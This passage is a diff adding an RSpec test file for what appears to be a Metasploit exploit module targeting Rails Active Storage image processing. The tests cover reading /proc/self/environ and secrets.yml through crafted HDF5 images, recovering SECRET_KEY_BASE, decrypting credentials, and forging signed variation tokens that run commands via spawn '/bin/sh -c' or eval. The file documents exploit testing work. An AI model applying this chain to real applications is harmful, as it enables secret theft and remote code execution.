'inverts the Vips sharpen convolution and restores exact bytes' do + expect(exploit.send(:restore_ascii_pixels, sharpened_read, read_layout, :sharpened)).to eq(source) + end + + it 'rejects unexpected image geometry and truncated pixel data' do + wrong_geometry = raw_read.merge(width: read_layout.fetch(:dimension) - 1) + truncated = raw_read.merge(pixels: raw_read.fetch(:pixels).byteslice(0...-1)) + + expect { exploit.send(:restore_ascii_pixels, wrong_geometry, read_layout, :raw) }.to raise_error(trigger_error) + expect { exploit.send(:restore_ascii_pixels, truncated, read_layout, :raw) }.to raise_error(trigger_error) + end + + it 'partially recovers a NUL-delimited ASCII secret after saturated bytes' do + prefix = "JUNK=\xff\xfe\xfd\x00SECRET_KEY_BASE=partial-safe-secret\x00".b + source = prefix.ljust(read_layout.fetch(:capacity), "\x00") + pixels = striped_pixels(read_layout, source) + dimension = read_layout.fetch(:dimension) + + (1...(dimension - 1)).step(2) do |column| + observed = dimension.times.map { |row| pixels.getbyte((row * dimension) + column) } + sharpened = exploit.send(:sharpened_column, observed) + sharpened.each_with_index { |value, row| pixels.setbyte((row * dimension) + column, value) } + end + + read = { width: dimension, height: dimension, pixels: pixels } + recovered = exploit.send(:restore_ascii_pixels_partial, read, read_layout) + + expect(recovered).to include("SECRET_KEY_BASE=partial-safe-secret\x00".b) + expect(recovered).not_to include("JUNK=\xff".b) + end + end + + describe '#read_text_file' do + it 'does not return data beyond max_bytes when the final read exceeds the boundary' do + capacity = read_layout.fetch(:capacity) + context = { layout: read_layout, mode: :raw } + first_read = { offset: 0 } + second_read = { offset: capacity } + observed_sizes = [] + + expect(exploit).to receive(:file_read_once).ordered.with(read_layout, '/proc/version', 0, 'read.h5').and_return(first_read) + expect(exploit).to receive(:restore_ascii_pixels).ordered.with(first_read, read_layout, :raw).and_return('A'.b * capacity) + expect(exploit).to receive(:file_read_once).ordered.with(read_layout, '/proc/version', capacity, 'read.h5').and_return(second_read) + expect(exploit).to receive(:restore_ascii_pixels).ordered.with(second_read, read_layout, :raw).and_return('B'.b * capacity) + + recovered = exploit.send( + :read_text_file, + context, + '/proc/version', + max_bytes: capacity + 1, + filename: 'read.h5', + stop_when: lambda { |bytes| + observed_sizes << bytes.bytesize + false + } + ) + + expect(recovered).to eq(('A'.b * capacity) + 'B'.b) + expect(recovered.bytesize).to eq(capacity + 1) + expect(observed_sizes).to eq([capacity, capacity + 1]) + end + end + + describe '#patch_hdf5_template' do + let(:external_path) { '/proc/self/environ' } + let(:external_offset) { 4096 } + let(:placeholder) { '/rails_vips_external_path_placeholder_012345678901234567890123456789'.b } + let(:marker_base) { 0x4d53460000000000 } + let(:artifact_path) do + ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2026-66066', read_layout.fetch(:artifact)) + end + + it 'matches every committed artifact to its read layout' do + read_layouts.each do |layout| + path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2026-66066', layout.fetch(:artifact)) + expect(::File.file?(path)).to be(true) + + data = ::File.binread(path) + dimension = layout.fetch(:dimension) + data_columns = layout.fetch(:data_columns) + marker_counts = data_columns.times.map do |index| + record = [marker_base + index, dimension].pack('Q<2') + data.scan(record).length + end + + expect(layout.fetch(:capacity)).to eq(dimension * data_columns) + expect(data.scan(placeholder).length).to eq(data_columns) + expect(marker_counts).to all(eq(1)) + end + end + + it 'patches each external path and marker using the layout stride' do + expect(::File.file?(artifact_path)).to be(true) + + original = ::File.binread(artifact_path) + patched = exploit.send(:patch_hdf5_template, read_layout, external_path, external_offset) + replacement = external_path.b.ljust(placeholder.bytesize, "\x00") + + expect(patched.bytesize).to eq(original.bytesize) + expect(original.scan(placeholder).length).to eq(read_layout.fetch(:data_columns)) + expect(patched.scan(replacement).length).to eq(read_layout.fetch(:data_columns)) + + read_layout.fetch(:data_columns).times do |index| + marker = [marker_base + index].pack('Q<') + expect(original.scan(marker).length).to eq(1) + + marker_position = original.index(marker) + expect(marker_position).not_to be_nil + expect(patched.byteslice(marker_position, 8).unpack1('Q<')).to eq(external_offset + (index * read_layout.fetch(:dimension))) + expect(patched.byteslice(marker_position + 8, 8).unpack1('Q<')).to eq(read_layout.fetch(:dimension)) + end + + expect(::File.binread(artifact_path)).to eq(original) + end + + it 'rejects an artifact that does not match its layout' do + smaller_layout = read_layouts.find { |layout| layout[:dimension] == 16 } + invalid_layout = read_layout.merge(artifact: smaller_layout.fetch(:artifact)) + + expect { exploit.send(:patch_hdf5_template, invalid_layout, external_path, external_offset) }.to raise_error(data_error) + end + + it 'rejects invalid external paths and offsets' do + oversized_path = 'A' * (placeholder.bytesize + 1) + + expect { exploit.send(:patch_hdf5_template, read_layout, "/bad\x00path", external_offset) }.to raise_error(flow_error, /NUL/) + expect { exploit.send(:patch_hdf5_template, read_layout, oversized_path, external_offset) }.to raise_error(flow_error) + expect { exploit.send(:patch_hdf5_template, read_layout, external_path, -1) }.to raise_error(flow_error) + end + end + + describe '#derive_verifier_key' do + let(:secret_key_base) { 'test-secret-key-base' } + + it 'matches the Rails SHA1 key generator vector' do + expected = [ + '5d7610692c916ec0b162d2c625aa48876a18b06667ff64b1660ce978d1e811fe' \ + '03831e2149f89eaf9a2d6be105f6736452a0f2022fc12abd770063eb8c045fb7' + ].pack('H*') + + expect(exploit.send(:derive_verifier_key, secret_key_base, 'sha1')).to eq(expected) + end + + it 'matches the Rails SHA256 key generator vector' do + expected = [ + '4c3df32bc45761c03c0260f7285d2122c71aa36f4c6c67859443c3bab954c417' \ + '70361c4d6eff8195a953a251c88effa2edb53bde3411d5ba13125cce6152606c' + ].pack('H*') + + expect(exploit.send(:derive_verifier_key, secret_key_base, 'sha256')).to eq(expected) + end + end + + describe '#forged_variation' do + let(:transformations) { exploit.send(:command_transformations, 'id') } + let(:verifier_key) { exploit.send(:derive_verifier_key, 'test-secret-key-base', 'sha256') } + + it 'uses a legacy JSON metadata envelope and standard padded Base64' do + serialized = exploit.send(:variation_payload, transformations, :json) + token = exploit.send(:forged_variation, verifier_key, serialized, 'sha1') + encoded, _separator, signature = token.rpartition('--') + + expect(encoded).to eq(Base64.strict_encode64(serialized)) + expect(signature).to eq(OpenSSL::HMAC.hexdigest('SHA1', verifier_key, encoded)) + + envelope = JSON.parse(Base64.strict_decode64(encoded)) + inner = Base64.strict_decode64(envelope.fetch('_rails').fetch('message')) + expect(JSON.parse(inner)).to eq(transformations) + end + + it 'serializes the same native transformations as a plain Marshal hash for legacy Rails defaults' do + serialized = exploit.send(:variation_payload, transformations, :marshal) + envelope = JSON.parse(serialized) + inner = Base64.strict_decode64(envelope.fetch('_rails').fetch('message')) + + expect(inner).to eq(Marshal.dump(transformations)) + expect(inner).to start_with("\x04\x08".b) + end + + it 'infers JSON, Marshal, MessagePack fallback, and verifier settings from signed blob IDs' do + modern_json = { _rails: { data: 47, pur: 'blob_id' } }.to_json + modern_encoded = Base64.urlsafe_encode64(modern_json, padding: false) + modern_token = "#{modern_encoded}--#{'a' * 64}" + + marshaled_blob_id = Marshal.dump(47) + legacy_marshal = { + _rails: { + message: Base64.strict_encode64(marshaled_blob_id), + exp: nil, + pur: 'blob_id' + } + }.to_json + legacy_token = "#{Base64.strict_encode64(legacy_marshal)}--#{'b' * 40}" + message_pack_token = "#{Base64.strict_encode64("\xcc\x80\x01".b)}--#{'c' * 96}" + + modern_info = exploit.send(:signed_token_info, modern_token) + legacy_info = exploit.send(:signed_token_info, legacy_token) + message_pack_info = exploit.send(:signed_token_info, message_pack_token) + + expect(modern_info.values_at(:message_serializer, :verifier_digest)).to eq([:json, 'sha256']) + expect(legacy_info.values_at(:message_serializer, :verifier_digest)).to eq([:marshal, 'sha1']) + expect(message_pack_info.values_at(:message_serializer, :verifier_digest)).to eq([:json, 'sha384']) + end + + it 'uses the send/spawn operation supported throughout image_processing 1.x' do + expect(transformations).to eq('send' => ['spawn', '/bin/sh', '-c', 'id']) + end + + it 'uses the send/eval operation for the native Ruby target' do + expect(exploit.send(:ruby_transformations, 'RUBY_PAYLOAD')).to eq('send' => ['eval', 'RUBY_PAYLOAD']) + end + + it 'validates every supported key-generator digest against a signed token' do + encoded = Base64.strict_encode64({ _rails: { data: 47, pur: 'blob_id' } }.to_json) + + exploit.class::KEY_GENERATOR_DIGESTS.each do |digest| + verifier_key = exploit.send(:derive_verifier_key, 'test-secret-key-base', digest) + signature = OpenSSL::HMAC.hexdigest('SHA1', verifier_key, encoded) + info = exploit.send(:signed_token_info, "#{encoded}--#{signature}") + + expect(exploit.send(:key_generator_digest_for, 'test-secret-key-base', info)).to eq(digest) + end + end + end + + describe '#parse_environment' do + it 'parses NUL-delimited entries and preserves values containing equals signs' do + pixels = "SECRET_KEY_BASE=alpha=beta\x00EMPTY=\x00MALFORMED\x00DUPLICATE=first\x00DUPLICATE=last\x00".b + + expect(exploit.send(:parse_environment, pixels)).to eq( + { + 'SECRET_KEY_BASE' => 'alpha=beta', + 'EMPTY' => '', + 'DUPLICATE' => 'last' + } + ) + end + + it 'does not treat a key name embedded in another value as a complete entry' do + embedded = "OTHER=prefixSECRET_KEY_BASE=wrong\x00".b + anchored = embedded + "SECRET_KEY_BASE=right\x00".b + + expect(exploit.send(:environment_contains_complete_key?, embedded)).to be(false) + expect(exploit.send(:environment_contains_complete_key?, anchored)).to be(true) + end + + it 'does not stop at a master key before later environment entries are read' do + bytes = "RAILS_MASTER_KEY=#{'a' * 32}\x00RAILS_ENV=custom\x00".b + + expect(exploit.send(:environment_contains_usable_key?, bytes, '/proc/self/environ', 'signed-id')).to be(false) + end + + it 'stops only after SECRET_KEY_BASE validates against the signed blob ID' do + bytes = "SECRET_KEY_BASE=validated-secret\x00".b + validated = ['validated-secret', '/proc/self/environ', 'sha256', { encoded: 'token' }] + yielded = nil + allow(exploit).to receive(:validated_secret_candidate).and_return(validated) + + result = exploit.send(:environment_contains_usable_key?, bytes, '/proc/self/environ', 'signed-id') do |candidate| + yielded = candidate + end + + expect(result).to be(true) + expect(yielded).to eq(validated) + end + end + + describe '#recover_secret_key_base' do + it 'links recovered environment loot to the Rails service' do + exploit.datastore['RHOST'] = '192.0.2.10' + service = double('Rails service') + bytes = "SECRET_KEY_BASE=validated-secret\x00".b + token_info = { encoded: 'token' } + validated = ['validated-secret', '/proc/self/environ', 'sha256', token_info] + context = { + mode: :raw, + representation: { signed_id: 'signed-id' } + } + allow(exploit).to receive(:try_read_text_file) do |_read_context, path, **_options| + path == '/proc/self/environ' ? bytes : nil + end + allow(exploit).to receive(:validated_secret_candidate) + .with('validated-secret', '/proc/self/environ', 'signed-id') + .and_return(validated) + allow(exploit).to receive(:report_active_storage_service).and_return(service) + expect(exploit).to receive(:store_loot).with( + 'rails.process.environ', + 'application/octet-stream', + exploit.rhost, + bytes, + 'environ.bin', + 'Recovered /proc/self/environ bytes', + service + ).and_return('/tmp/rails-process-environ.bin') + + expect(exploit.send(:recover_secret_key_base, context)).to eq(validated) + end + end + + describe '#representation_paths' do + it 'extracts modern and legacy representation URLs from src and srcset attributes' do + doc = Nokogiri::HTML(<<~HTML) + + + + HTML + + expect(exploit.send(:representation_paths, doc)).to eq( + [ + '/rails/active_storage/representations/proxy/blob/variation/photo.png', + '/rails/active_storage/representations/blob/variation/legacy.png', + '/rails/active_storage/representations/redirect/blob/variation/avatar.png' + ] + ) + end + + it 'substitutes signed IDs and variations in modern and legacy routes' do + modern = '/rails/active_storage/representations/redirect/old_blob/old_variation/image.png' + legacy = '/rails/active_storage/representations/old_blob/old_variation/image.png' + + expect(exploit.send(:substitute_representation_blob, modern, 'new_blob', 'new.png')).to eq( + '/rails/active_storage/representations/redirect/new_blob/old_variation/new.png' + ) + expect(exploit.send(:substitute_variation_key, legacy, 'new_variation')).to eq( + '/rails/active_storage/representations/old_blob/new_variation/image.png' + ) + end + + it 'uses the Active Storage route when the application base path also contains representations' do + path = '/representations/application/rails/active_storage/representations/redirect/old_blob/old_variation/image.png' + + expect(exploit.send(:substitute_representation_blob, path, 'new_blob', 'new.png')).to eq( + '/representations/application/rails/active_storage/representations/redirect/new_blob/old_variation/new.png' + ) + end + + it 'uses the Active Storage route when the representation filename is representations' do + path = '/rails/active_storage/representations/redirect/old_blob/old_variation/representations' + + expect(exploit.send(:substitute_variation_key, path, 'new_variation')).to eq( + '/rails/active_storage/representations/redirect/old_blob/new_variation/representations' + ) + end + + it 'constructs both standard representation route layouts' do + expect(exploit.send(:standard_representation_path, 'blob', 'variation', 'safe.png')).to eq( + '/rails/active_storage/representations/redirect/blob/variation/safe.png' + ) + expect(exploit.send(:standard_representation_path, 'blob', 'variation', 'safe.png', route: :legacy)).to eq( + '/rails/active_storage/representations/blob/variation/safe.png' + ) + end + end + + describe '#verify_known_secret_context' do + it 'falls back to and retains the Rails 6.0 legacy representation route' do + context = { + signed_id: 'blob', + verifier_key: 'key', + verifier_digest: 'sha1', + message_serializer: :json + } + allow(exploit).to receive(:forged_representation_path) do |candidate, transformations| + expect(transformations).to eq('resize_to_limit' => [1, 1]) + "/#{candidate.fetch(:representation_route)}" + end + allow(exploit).to receive(:request_representation).with('/redirect').and_return(http_response(404)) + allow(exploit).to receive(:request_representation).with('/legacy').and_return(http_response(200, body: png_signature)) + + exploit.send(:verify_known_secret_context, context) + + expect(context[:representation_route]).to eq(:legacy) + end + end + + describe '#request_variation_key_representation' do + before do + exploit.datastore['VARIATION_KEY'] = 'variation' + end + + it 'falls back to and retains the Rails 6.0 legacy route for crafted reads' do + allow(exploit).to receive(:request_representation) + .with('/rails/active_storage/representations/redirect/blob/variation/read.png') + .and_return(http_response(404)) + allow(exploit).to receive(:request_representation) + .with('/rails/active_storage/representations/blob/variation/read.png') + .and_return(http_response(200, body: png_signature)) + + first_path, first_response = exploit.send(:request_variation_key_representation, 'blob', 'read.png') + + expect(first_path).to eq('/rails/active_storage/representations/blob/variation/read.png') + expect(first_response.code).to eq(200) + expect(exploit.instance_variable_get(:@variation_key_route)).to eq(:legacy) + + expect(exploit).to receive(:request_representation) + .with('/rails/active_storage/representations/blob/variation/next.png') + .and_return(http_response(200, body: png_signature)) + second_path, = exploit.send(:request_variation_key_representation, 'blob', 'next.png') + + expect(second_path).to eq('/rails/active_storage/representations/blob/variation/next.png') + end + + it 'does not consult the application representation workflow when a key is supplied' do + expect(exploit).not_to receive(:base_representation_path) + allow(exploit).to receive(:request_variation_key_representation).with('blob', 'read.png').and_return(['/path', http_response(200)]) + + expect(exploit.send(:request_crafted_representation, 'blob', 'read.png').first).to eq('/path') + end + end + + describe '#direct_upload' do + it 'rejects successful responses whose JSON root is not an object' do + expect(exploit).not_to receive(:send_request_to_url) + + ['[]', 'null', 'true'].each do |body| + allow(exploit).to receive(:send_request_cgi).and_return(http_response(200, body: body)) + + expect do + exploit.send( + :direct_upload, + csrf_token: 'csrf', + filename: 'image.png', + content_type: 'image/png', + content: 'PNG' + ) + end.to raise_error(flow_error, /JSON object/i) + end + end + + it 'reports Active Storage before uploading the blob content' do + service = double('Rails service') + create_response = http_response( + 200, + body: { + signed_id: 'signed-id', + direct_upload: { + url: 'https://storage.example/object', + headers: {} + } + }.to_json + ) + upload_response = http_response(204) + expect(exploit).to receive(:send_request_cgi).ordered.and_return(create_response) + expect(exploit).to receive(:report_active_storage_service).ordered.and_return(service) + expect(exploit).to receive(:send_request_to_url).ordered.with( + 'https://storage.example/object', + method: 'PUT', + data: 'PNG', + headers: {} + ).and_return(upload_response) + + signed_id = exploit.send( + :direct_upload, + csrf_token: 'csrf', + filename: 'image.png', + content_type: 'image/png', + content: 'PNG' + ) + + expect(signed_id).to eq('signed-id') + expect(exploit.instance_variable_get(:@active_storage_service)).to be(service) + end + end + + describe '#request_representation' do + before do + exploit.datastore['RHOST'] = 'app.example' + exploit.datastore['RPORT'] = 443 + exploit.datastore['SSL'] = true + exploit.datastore['VHOST'] = 'app.example' + exploit.datastore['COOKIE'] = 'session=application-secret' + exploit.datastore['HttpUsername'] = 'application-user' + exploit.datastore['HttpPassword'] = 'application-password' + end + + it 'keeps cross-origin redirects isolated when the chain returns to the application origin' do + application_redirect = http_response(302, location: 'https://storage.example/object?signature=public') + storage_redirect = http_response(302, location: 'https://app.example/rails/active_storage/object') + final_response = http_response(200) + sanitized_requests = [] + sanitized_responses = [storage_redirect, final_response] + + expect(exploit).to receive(:send_request_cgi).once do |options| + expect(options).to include( + 'method' => 'GET', + 'uri' => '/rails/active_storage/representations/redirect/blob/variation/image.png', + 'cookie' => 'session=application-secret' + ) + application_redirect + end + allow(exploit).to receive(:send_sanitized_request) do |options| + sanitized_requests << options + sanitized_responses.shift + end + + response = exploit.send( + :request_representation, + 'https://app.example/rails/active_storage/representations/redirect/blob/variation/image.png' + ) + + expect(response).to be(final_response) + expect(sanitized_requests.map { |request| request['rhost'] }).to eq(%w[storage.example app.example]) + sanitized_requests.each do |request| + expect(request.keys).not_to include('cookie', 'authorization', 'username', 'password') + expect(request.fetch('headers')).to eq('Accept' => 'image/png', 'Connection' => 'close') + end + end + + it 'rejects a redirect chain that exceeds the bounded hop count' do + redirect = http_response(302, location: '/rails/active_storage/representations/redirect/next') + limit = exploit.class::REPRESENTATION_REDIRECT_LIMIT + + expect(exploit).to receive(:send_request_cgi).exactly(limit + 1).times.and_return(redirect) + + expect do + exploit.send( + :request_representation, + 'https://app.example/rails/active_storage/representations/redirect/blob/variation/image.png' + ) + end.to raise_error(flow_error, /redirect limit/i) + end + + it 'recognizes an absolute IPv6 literal URL as same-origin' do + exploit.datastore['RHOST'] = '2001:db8::10' + exploit.datastore['RPORT'] = 3003 + exploit.datastore['SSL'] = false + exploit.datastore['VHOST'] = nil + response = http_response(200) + + expect(exploit).not_to receive(:send_sanitized_request) + expect(exploit).to receive(:send_request_cgi).with( + hash_including( + 'method' => 'GET', + 'uri' => '/rails/active_storage/representations/redirect/blob/variation/image.png' + ) + ).and_return(response) + + result = exploit.send( + :request_representation, + 'http://[2001:db8::10]:3003/rails/active_storage/representations/redirect/blob/variation/image.png' + ) + + expect(result).to be(response) + end + end + + describe '#send_request_to_url' do + it 'passes an unbracketed IPv6 hostname to the sanitized HTTP client' do + response = http_response(204) + expect(exploit).to receive(:send_sanitized_request).with( + hash_including( + 'rhost' => '2001:db8::20', + 'rport' => 443, + 'SSL' => true, + 'vhost' => '2001:db8::20' + ) + ).and_return(response) + + result = exploit.send( + :send_request_to_url, + 'https://[2001:db8::20]/object', + method: 'PUT', + data: 'content', + headers: {} + ) + + expect(result).to be(response) + end + end + + describe '#submit_safe_upload' do + before do + exploit.datastore['RHOST'] = 'app.example' + exploit.datastore['RPORT'] = 443 + exploit.datastore['SSL'] = true + exploit.datastore['VHOST'] = 'app.example' + exploit.datastore['SUBMITURI'] = '/uploads' + exploit.datastore['ATTACHMENT_FIELD'] = 'upload[avatar]' + end + + it 'follows a bounded same-origin redirect to the representation page' do + redirect = http_response(302, location: '/uploads/7') + final = http_response( + 200, + body: '' + ) + + expect(exploit).to receive(:send_request_cgi).ordered.and_return(redirect) + expect(exploit).to receive(:send_request_cgi).ordered do |options| + expect(options).to include('method' => 'GET', 'uri' => '/uploads/7') + final + end + + expect(exploit.send(:submit_safe_upload, 'csrf', 'signed')).to eq( + '/rails/active_storage/representations/blob/variation/image.png' + ) + end + + it 'rejects a cross-origin form redirect' do + redirect = http_response(302, location: 'https://storage.example/uploads/7') + allow(exploit).to receive(:send_request_cgi).and_return(redirect) + + expect { exploit.send(:submit_safe_upload, 'csrf', 'signed') }.to raise_error(flow_error, /different origin/i) + end + end + + describe '#send_sanitized_request' do + it 'uses a fresh client with cookies and application authentication disabled' do + exploit.datastore['COOKIE'] = 'session=application-secret' + exploit.datastore['HttpUsername'] = 'application-user' + exploit.datastore['HttpPassword'] = 'application-password' + logger = instance_double(Rex::Proto::Http::HttpLoggerSubscriber) + client = instance_double(Rex::Proto::Http::Client) + request = instance_double(Rex::Proto::Http::Request) + response = http_response(200) + request_options = nil + + allow(Rex::Proto::Http::HttpLoggerSubscriber).to receive(:new).and_return(logger) + expect(Rex::Proto::Http::Client).to receive(:new) do |*arguments, **keywords| + expect(arguments.values_at(0, 1, 3, 6, 7)).to eq(['storage.example', 443, true, '', '']) + expect(keywords).to include(kerberos_authenticator: nil, subscriber: logger) + client + end + expect(client).to receive(:set_config).with( + hash_including( + 'vhost' => 'storage.example', + 'ssl_server_name_indication' => 'storage.example', + 'raw_headers' => '' + ) + ) + expect(client).to receive(:request_cgi) do |options| + request_options = options + request + end + expect(client).to receive(:_send_recv).with(request, 20).and_return(response) + expect(client).to receive(:close) + + result = exploit.send( + :send_sanitized_request, + { + 'method' => 'GET', + 'uri' => '/object', + 'headers' => { 'Accept' => 'image/png' }, + 'cookie' => 'must-not-survive', + 'authorization' => 'must-not-survive', + 'username' => 'must-not-survive', + 'password' => 'must-not-survive', + 'rhost' => 'storage.example', + 'rport' => 443, + 'SSL' => true, + 'vhost' => 'storage.example' + } + ) + + expect(result).to be(response) + expect(request_options).to include( + 'cookie' => nil, + 'raw_headers' => '', + 'authorization' => nil, + 'username' => '', + 'password' => '', + 'preferred_auth' => 'None', + kerberos_authenticator: false + ) + expect(request_options.to_s).not_to include('application-secret', 'application-user', 'application-password', 'must-not-survive') + end + end + + describe '#sanitized_request_timeout' do + it 'uses a finite fallback when HttpClientTimeout is unset or non-positive' do + [nil, 0, -1].each do |configured_timeout| + exploit.datastore['HttpClientTimeout'] = configured_timeout + + expect(exploit.send(:sanitized_request_timeout)).to eq(20) + end + end + + it 'honors a positive HttpClientTimeout' do + exploit.datastore['HttpClientTimeout'] = 7.5 + + expect(exploit.send(:sanitized_request_timeout)).to eq(7.5) + end + end + + describe '#trigger_variation' do + before do + exploit.datastore['RHOST'] = 'app.example' + exploit.datastore['RPORT'] = 443 + exploit.datastore['SSL'] = true + exploit.datastore['VHOST'] = 'app.example' + end + + it 'treats redirects and definitive client-side rejection statuses as trigger failures' do + [300, 301, 302, 303, 307, 308, 400, 401, 403, 404, 405, 414, 422, 429, 499].each do |status| + allow(exploit).to receive(:send_request_cgi).and_return(http_response(status)) + + expect do + exploit.send(:trigger_variation, '/rails/active_storage/representations/redirect/blob/forged/image.png') + end.to raise_error(trigger_error, /rejected with HTTP #{status}/) + end + end + + it 'allows an ambiguous server error because command execution may have occurred first' do + allow(exploit).to receive(:send_request_cgi).and_return(http_response(500)) + + expect do + exploit.send(:trigger_variation, '/rails/active_storage/representations/redirect/blob/forged/image.png') + end.not_to raise_error + end + end + + describe '#decrypt_rails_credentials' do + let(:master_key) { '00112233445566778899aabbccddeeff' } + let(:encrypted_credentials) do + 'L91+5oK6ok2VS0z8Yug1smZ69BUW0J3otX65PIRv40ZC4LM4PHsskwDI///UK9Olqw==' \ + '--AAECAwQFBgcICQoL--1BoUyMzI7zRVEcKrsUPuzA==' + end + let(:plaintext_hex) do + '040849222c2d2d2d0a7365637265745f6b65795f626173653a2063726564656e7469616c2d7365637265740a063a064554' + end + + it 'decrypts a Rails-compatible AES-128-GCM credentials envelope' do + plaintext = exploit.send(:decrypt_rails_credentials, encrypted_credentials, master_key) + + expect(plaintext).to eq([plaintext_hex].pack('H*')) + end + + it 'rejects a modified authentication tag' do + parts = encrypted_credentials.split('--') + tag = Base64.strict_decode64(parts.fetch(2)) + tag.setbyte(0, tag.getbyte(0) ^ 1) + parts[2] = Base64.strict_encode64(tag) + + expect(exploit.send(:decrypt_rails_credentials, parts.join('--'), master_key)).to be_nil + end + + it 'rejects malformed envelopes and invalid master keys' do + expect(exploit.send(:decrypt_rails_credentials, 'not--enough-parts', master_key)).to be_nil + expect(exploit.send(:decrypt_rails_credentials, '%%%--%%%--%%%', master_key)).to be_nil + expect(exploit.send(:decrypt_rails_credentials, encrypted_credentials, 'not-a-master-key')).to be_nil + end + end + + describe 'legacy secrets.yml recovery' do + let(:environments) { %w[production staging development test] } + let(:secrets_key) { '000102030405060708090a0b0c0d0e0f' } + + # Rails::Secrets encrypts secrets.yml.enc with ActiveSupport::MessageEncryptor + # (aes-128-gcm, Marshal serializer, no purpose), producing the same padded + # Base64 ciphertext--iv--tag envelope wrapped around a Marshal string. + def secrets_yml_enc(yaml, key_hex) + cipher = OpenSSL::Cipher.new('aes-128-gcm') + cipher.encrypt + cipher.key = [key_hex].pack('H*') + iv = "\x00".b * 12 + cipher.iv = iv + cipher.auth_data = '' + encrypted = cipher.update(Marshal.dump(yaml)) + cipher.final + [encrypted, iv, cipher.auth_tag].map { |part| Base64.strict_encode64(part) }.join('--') + end + + it 'decrypts and extracts secret_key_base from an encrypted secrets.yml.enc' do + yaml = "shared:\n a: 1\nproduction:\n secret_key_base: #{'c' * 128}\n" + envelope = secrets_yml_enc(yaml, secrets_key) + + plaintext = exploit.send(:decrypt_rails_credentials, envelope, secrets_key) + unwrapped = exploit.send(:unwrap_marshaled_string, plaintext) + + expect(exploit.send(:secret_key_base_candidates_from_secrets_yaml, unwrapped, environments)).to eq(['c' * 128]) + end + + it 'reads environment-keyed plaintext secrets.yml and skips unrendered ERB' do + yaml = "production:\n secret_key_base: <%= ENV[\"SECRET_KEY_BASE\"] %>\ndevelopment:\n secret_key_base: #{'d' * 128}\n" + + expect(exploit.send(:secret_key_base_candidates_from_secrets_yaml, yaml, environments)).to eq(['d' * 128]) + end + + it 'applies environment values over shared values and retains the shared fallback' do + yaml = "shared:\n secret_key_base: #{'s' * 128}\nproduction:\n secret_key_base: #{'p' * 128}\ndevelopment:\n other: value\n" + + expect(exploit.send(:secret_key_base_candidates_from_secrets_yaml, yaml, environments)).to eq(['p' * 128, 's' * 128]) + end + + it 'supports safe YAML aliases used for shared secrets' do + yaml = "shared: &shared\n secret_key_base: #{'s' * 128}\nproduction:\n <<: *shared\n" + + expect(exploit.send(:secret_key_base_candidates_from_secrets_yaml, yaml, ['production'])).to eq(['s' * 128]) + end + + it 'tries later environment candidates after a signature mismatch' do + production_secret = 'p' * 128 + development_secret = 'd' * 128 + yaml = "production:\n secret_key_base: #{production_secret}\ndevelopment:\n secret_key_base: #{development_secret}\n" + context = { representation: { signed_id: 'signed-id' } } + validated = [development_secret, '/proc/self/cwd/config/secrets.yml', 'sha1', { encoded: 'token' }] + allow(exploit).to receive(:try_read_text_file) do |_context, path, **_kwargs| + path == '/proc/self/cwd/config/secrets.yml' ? yaml.b : nil + end + expect(exploit).to receive(:validated_secret_candidate).ordered.with(production_secret, '/proc/self/cwd/config/secrets.yml', 'signed-id').and_return(nil) + expect(exploit).to receive(:validated_secret_candidate).ordered.with(development_secret, '/proc/self/cwd/config/secrets.yml', 'signed-id').and_return(validated) + + expect(exploit.send(:recover_legacy_secrets, context, %w[production development], [])).to eq(validated) + end + + it 'returns an empty array for documents with no usable secret and for malformed YAML' do + expect(exploit.send(:secret_key_base_candidates_from_secrets_yaml, "production:\n a: 1\n", environments)).to be_empty + expect(exploit.send(:secret_key_base_candidates_from_secrets_yaml, '!!invalid: [', environments)).to be_empty + end + end + + describe '#variation_transformations' do + before { allow(exploit).to receive(:payload).and_return(double('payload', encoded: 'PAYLOAD')) } + + it 'dispatches Kernel#spawn for the default command target' do + exploit.datastore['TARGET'] = 0 + + expect(exploit.send(:variation_transformations)).to eq('send' => ['spawn', '/bin/sh', '-c', 'PAYLOAD']) + end + + it 'dispatches Kernel#eval for the native Ruby target' do + exploit.datastore['TARGET'] = 2 + + expect(exploit.send(:variation_transformations)).to eq('send' => ['eval', 'PAYLOAD']) + end + end +end +# rubocop:enable Metrics/BlockLength